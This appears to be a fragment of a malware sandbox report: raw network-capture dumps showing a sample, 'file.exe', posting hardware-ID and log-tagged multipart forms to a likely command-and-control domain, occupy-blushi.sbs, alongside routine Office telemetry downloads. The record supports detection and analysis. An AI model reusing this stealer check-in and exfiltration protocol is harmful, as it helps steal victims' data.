+p2uEbSSAbQI8U5h8yuDdDGoSCNnCyncMyvhsjO5pS5vTewQNtEDtIsxnPAh6UelJLoCqyoa4NLiLzC143il/bqf/wNl0sZlH2KXN6HpxPQga8W6q5ixhLMvMHXiOSU+ON/uUvTTQfSJsV9zI2mEZyQ6w6rpWWJQYnwhpGJ+dihpUa/VcBcDZQ6hGCJi6VVyN7gHaCjYINFibPH1oPnlPPsf7pM3l4C2CvNd8WCpB+Tk6FB6q52xhLMnM/coOqU
2024-11-25 17:28:13 UTC	1369	IN	Data Raw: 35 52 6c 77 4a 42 30 7a 32 4b 49 59 6d 36 72 67 57 41 6e 61 4d 2b 76 4b 70 34 6a 55 65 41 38 4e 65 66 6c 36 47 66 39 61 55 76 2f 45 58 59 52 51 4c 62 4a 4d 4e 31 78 49 6d 67 45 4a 47 59 35 51 57 67 71 57 69 41 53 34 6d 36 79 39 43 45 36 4a 2f 78 34 6e 53 75 41 35 6b 4d 42 73 78 6c 6b 6a 6e 67 69 37 73 62 67 4e 37 2b 51 62 50 70 61 59 6f 4b 31 50 44 4d 32 34 48 6c 6e 2f 58 6a 63 72 70 4f 31 6b 4d 41 31 43 72 4f 63 73 43 4b 71 42 69 56 6b 2b 55 64 6f 4b 4a 68 69 6b 4f 41 76 59 69 66 7a 75 61 41 75 62 30 33 6a 55 37 5a 51 67 62 43 5a 64 55 33 30 4d 79 75 47 64 44 47 6f 51 36 6d 70 6d 32 4a 53 59 2b 78 77 73 4f 63 37 5a 48 78 34 48 75 33 54 64 46 65 42 39 73 73 79 58 72 41 69 36 45 5a 6d 70 33 6d 54 2b 54 70 61 5a 34 4b 31 50 44 72 78 70 37 73 32 4f 61 72 62 Data Ascii: 5RlwJB0z2KIYm6rgWAnaM+vKp4jUeA8Nefl6Gf9aUv/EXYRQLbJMN1xImgEJGY5QWgqWiAS4m6y9CE6J/x4nSuA5kMBsxlkjngi7sbgN7+QbPpaYoK1PDM24Hln/XjcrpO1kMA1CrOcsCKqBiVk+UdoKJhikOAvYifzuaAub03jU7ZQgbCZdU30MyuGdDGoQ6mpm2JSY+xwsOc7ZHx4Hu3TdFeB9ssyXrAi6EZmp3mT+TpaZ4K1PDrxp7s2Oarb
2024-11-25 17:28:13 UTC	1369	IN	Data Raw: 4b 42 74 49 72 32 48 7a 50 67 36 59 63 6d 5a 72 70 44 4b 71 74 61 6f 46 50 6a 37 7a 44 31 6f 33 75 6e 50 44 72 66 72 4d 44 6d 51 77 47 7a 47 57 53 4f 65 69 58 71 68 6d 64 33 76 35 42 73 2b 6c 70 69 67 72 55 38 4d 54 66 69 2b 47 53 2f 2b 46 79 75 6b 6e 53 54 41 72 58 4b 73 35 2f 7a 59 4f 70 48 70 6d 66 35 77 71 67 6f 6d 69 4c 53 59 71 32 69 4a 2f 4f 35 6f 43 35 76 54 65 63 57 4e 70 41 42 70 51 36 68 47 43 4a 69 36 56 56 79 4e 37 71 41 36 36 75 62 6f 74 4a 68 4c 58 4d 32 34 76 68 6b 4f 76 74 64 37 74 52 78 55 77 49 30 53 6e 4a 65 63 32 4b 6f 42 4f 54 6d 71 46 42 36 71 35 32 78 68 4c 4d 6e 63 54 57 70 2b 61 44 75 66 6f 35 70 51 50 51 51 45 47 4d 5a 63 74 79 77 34 4f 6b 46 70 61 64 36 67 71 67 71 47 6d 4f 52 35 36 7a 78 39 36 4b 34 5a 66 2f 34 33 61 7a 52 64 Data Ascii: KBtIr2HzPg6YcmZrpDKqtaoFPj7zD1o3unPDrfrMDmQwGzGWSOeiXqhmd3v5Bs+lpigrU8MTfi+GS/+FyuknSTArXKs5/zYOpHpmf5wqgomiLSYq2iJ/O5oC5vTecWNpABpQ6hGCJi6VVyN7qA66ubotJhLXM24vhkOvtd7tRxUwI0SnJec2KoBOTmqFB6q52xhLMncTWp+aDufo5pQPQQEGMZctyw4OkFpad6gqgqGmOR56zx96K4Zf/43azRd
2024-11-25 17:28:13 UTC	1369	IN	Data Raw: 4d 38 6b 2b 39 37 4b 4f 41 35 71 5a 38 51 69 39 70 69 37 49 43 6f 50 77 6b 4f 6a 4f 36 4a 2f 69 39 47 47 78 55 39 41 4d 50 70 70 6c 30 6a 6d 52 7a 4a 77 57 6e 70 44 6d 47 62 76 6b 53 5a 42 41 69 36 44 50 78 6f 47 68 31 72 6e 6a 4e 2b 51 51 6d 51 77 46 78 57 57 53 4b 5a 76 58 2f 45 62 48 7a 72 4d 51 35 4c 41 75 6b 41 72 55 34 6f 61 52 6e 4b 48 41 75 61 4a 30 72 6c 48 52 54 78 66 58 59 76 52 48 37 70 61 6b 45 34 65 50 33 7a 47 74 73 32 4f 41 58 5a 33 38 33 64 4b 41 37 35 2f 76 70 54 6e 38 54 4a 63 55 4f 4a 52 74 69 6b 61 48 7a 4c 46 56 79 4e 37 55 44 4b 53 6e 61 5a 42 62 77 5a 66 53 33 49 6a 32 69 62 6d 72 4e 37 6f 44 6a 78 78 50 6c 43 48 62 4f 5a 48 63 2b 30 37 46 7a 62 5a 66 2b 4c 59 67 6e 77 71 61 38 4a 43 44 77 4b 47 4b 75 62 30 33 2b 30 44 46 58 67 66 Data Ascii: M8k+97KOA5qZ8Qi9pi7ICoPwkOjO6J/i9GGxU9AMPppl0jmRzJwWnpDmGbvkSZBAi6DPxoGh1rnjN+QQmQwFxWWSKZvX/EbHzrMQ5LAukArU4oaRnKHAuaJ0rlHRTxfXYvRH7pakE4eP3zGts2OAXZ383dKA75/vpTn8TJcUOJRtikaHzLFVyN7UDKSnaZBbwZfS3Ij2ibmrN7oDjxxPlCHbOZHc+07FzbZf+LYgnwqa8JCDwKGKub03+0DFXgf
2024-11-25 17:28:13 UTC	1369	IN	Data Raw: 34 6d 55 36 55 33 51 71 2b 49 42 70 4b 35 34 6c 77 65 72 76 73 2f 51 6d 50 47 50 39 71 55 35 2f 45 57 58 46 46 4f 61 5a 63 35 6f 69 64 54 35 52 38 76 4c 73 6c 6a 36 2b 33 48 49 55 38 79 6d 69 49 6e 63 72 39 6a 72 70 53 2f 38 42 4e 52 65 45 39 49 6d 33 48 71 4f 73 70 63 79 6e 70 6e 67 47 62 71 2b 59 63 6c 6b 75 70 48 32 37 35 76 69 6c 76 66 69 59 61 30 44 6d 51 77 4f 6c 48 33 7a 4f 59 48 4d 6c 6c 76 51 68 71 46 58 36 70 78 74 69 45 53 4c 70 74 6d 63 71 65 2b 66 2b 50 4e 6e 71 30 79 59 59 6a 66 31 5a 59 51 35 7a 38 7a 78 52 39 37 65 35 52 37 71 38 54 37 55 45 64 6e 6a 6e 34 48 63 2f 74 62 67 70 57 48 38 47 34 55 43 51 63 5a 6c 6b 6a 6d 4f 6a 37 73 48 6c 70 33 33 44 4f 32 58 55 4b 46 45 69 37 48 65 77 59 50 74 75 66 72 30 66 59 4a 39 77 6b 38 50 32 69 4c 63 Data Ascii: 4mU6U3Qq+IBpK54lwervs/QmPGP9qU5/EWXFFOaZc5oidT5R8vLslj6+3HIU8ymiIncr9jrpS/8BNReE9Im3HqOspcynpngGbq+YclkupH275vilvfiYa0DmQwOlH3zOYHMllvQhqFX6pxtiESLptmcqe+f+PNnq0yYYjf1ZYQ5z8zxR97e5R7q8T7UEdnjn4Hc/tbgpWH8G4UCQcZlkjmOj7sHlp33DO2XUKFEi7HewYPtufr0fYJ9wk8P2iLc
2024-11-25 17:28:13 UTC	1369	IN	Data Raw: 70 58 6f 5a 50 6c 47 62 2b 71 66 6f 46 30 73 70 33 61 31 70 37 69 32 74 58 69 65 72 42 39 36 58 73 51 30 7a 57 49 58 38 71 61 71 6c 58 65 33 76 6c 50 38 75 6c 44 6c 45 32 63 73 34 72 39 69 65 79 55 75 66 6f 35 70 51 50 42 44 46 6d 48 61 34 70 72 69 64 54 70 55 70 4f 4d 38 77 6d 70 76 32 33 42 64 4c 4b 64 32 74 61 65 34 74 72 49 36 48 4f 71 56 74 52 63 42 75 6f 62 35 32 76 4f 6e 4b 70 58 74 61 53 6a 50 72 79 71 62 6f 68 4e 7a 50 36 49 79 63 36 35 32 4e 54 33 63 4b 78 41 6c 57 6b 37 6c 68 54 63 65 73 6d 43 72 6c 57 50 30 50 68 50 76 4f 6b 32 31 51 54 4d 6f 6f 69 4a 7a 71 61 57 39 4f 52 30 73 6b 44 46 58 67 66 58 4d 38 6b 2b 39 37 4b 47 48 70 47 4f 37 42 36 6e 72 58 69 34 64 4b 75 32 7a 64 61 77 33 36 2f 6f 34 6d 66 2b 5a 64 52 61 41 70 52 72 69 6d 47 4a 31 Data Ascii: pXoZPlGb+qfoF0sp3a1p7i2tXierB96XsQ0zWIX8qaqlXe3vlP8ulDlE2cs4r9ieyUufo5pQPBDFmHa4pridTpUpOM8wmpv23BdLKd2tae4trI6HOqVtRcBuob52vOnKpXtaSjPryqbohNzP6Iyc652NT3cKxAlWk7lhTcesmCrlWP0PhPvOk21QTMooiJzqaW9OR0skDFXgfXM8k+97KGHpGO7B6nrXi4dKu2zdaw36/o4mf+ZdRaApRrimGJ1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49710	104.21.7.169	443	6536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:14 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=O2AYSRE3F5YKI3R6OSZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12871 Host: occupy-blushi.sbs
2024-11-25 17:28:14 UTC	12871	OUT	Data Raw: 2d 2d 4f 32 41 59 53 52 45 33 46 35 59 4b 49 33 52 36 4f 53 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 36 35 42 36 30 35 41 38 44 46 38 41 36 31 39 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4f 32 41 59 53 52 45 33 46 35 59 4b 49 33 52 36 4f 53 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 32 41 59 53 52 45 33 46 35 59 4b 49 33 52 36 4f 53 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --O2AYSRE3F5YKI3R6OSZContent-Disposition: form-data; name="hwid"B65B605A8DF8A619D7CBBD6DF28D3732--O2AYSRE3F5YKI3R6OSZContent-Disposition: form-data; name="pid"2--O2AYSRE3F5YKI3R6OSZContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-25 17:28:15 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=norq7s8j6isf6si5qk7p3pvg7q; expires=Fri, 21-Mar-2025 11:14:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xTkS9x7daQ3zPpY79AW5kj8boizKb2WdgTaavOj7VmWd%2FgUTnVR2y1kFV1L95INt7WLt6KY7FcosToFoIbnaSHyComtf3sQZMGM%2BFseMFidA%2BWiIztiVC%2BgeEPreK319LVyfMQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e835aa44f320fab-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1484&sent=11&recv=19&lost=0&retrans=1&sent_bytes=4230&recv_bytes=13813&delivery_rate=124647&cwnd=188&unsent_bytes=0&cid=41b29fe9f414fc2a&ts=979&x=0"
2024-11-25 17:28:15 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-25 17:28:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49712	104.21.7.169	443	6536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:17 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=209PO4X5EQGAQD31 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15099 Host: occupy-blushi.sbs
2024-11-25 17:28:17 UTC	15099	OUT	Data Raw: 2d 2d 32 30 39 50 4f 34 58 35 45 51 47 41 51 44 33 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 36 35 42 36 30 35 41 38 44 46 38 41 36 31 39 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 32 30 39 50 4f 34 58 35 45 51 47 41 51 44 33 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 30 39 50 4f 34 58 35 45 51 47 41 51 44 33 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --209PO4X5EQGAQD31Content-Disposition: form-data; name="hwid"B65B605A8DF8A619D7CBBD6DF28D3732--209PO4X5EQGAQD31Content-Disposition: form-data; name="pid"2--209PO4X5EQGAQD31Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-25 17:28:18 UTC	1022	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f1idgbh10tiv17cggub54bl68m; expires=Fri, 21-Mar-2025 11:14:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bNLBAg1rGo5lq3tah%2FSZnpdihStsp2xJ08fOSOOJpU5%2Bk5nSj2rNHs4c7LoNqJiSzQX6oIK91rlJpJTZ%2FKFAv22VE99C0WgtySTDknFYLYHXVPqkOK9l98lCT%2FXRvaROStycYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e835ab35daa7277-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9282&sent=11&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16038&delivery_rate=1550716&cwnd=236&unsent_bytes=0&cid=d38f0b0e64a56362&ts=1287&x=0"
2024-11-25 17:28:18 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-25 17:28:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:17 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:17 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:17 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 23 Nov 2024 12:15:37 GMT ETag: "0x8DD0BB889D4282C" x-ms-request-id: 19b35b80-c01e-0049-150a-3eac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172817Z-15b8b599d8885prmhC1TEBsnkw00000006c000000000b67y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:17 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-25 17:28:17 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-25 17:28:17 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-25 17:28:17 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-25 17:28:17 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-25 17:28:18 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-25 17:28:18 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-25 17:28:18 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
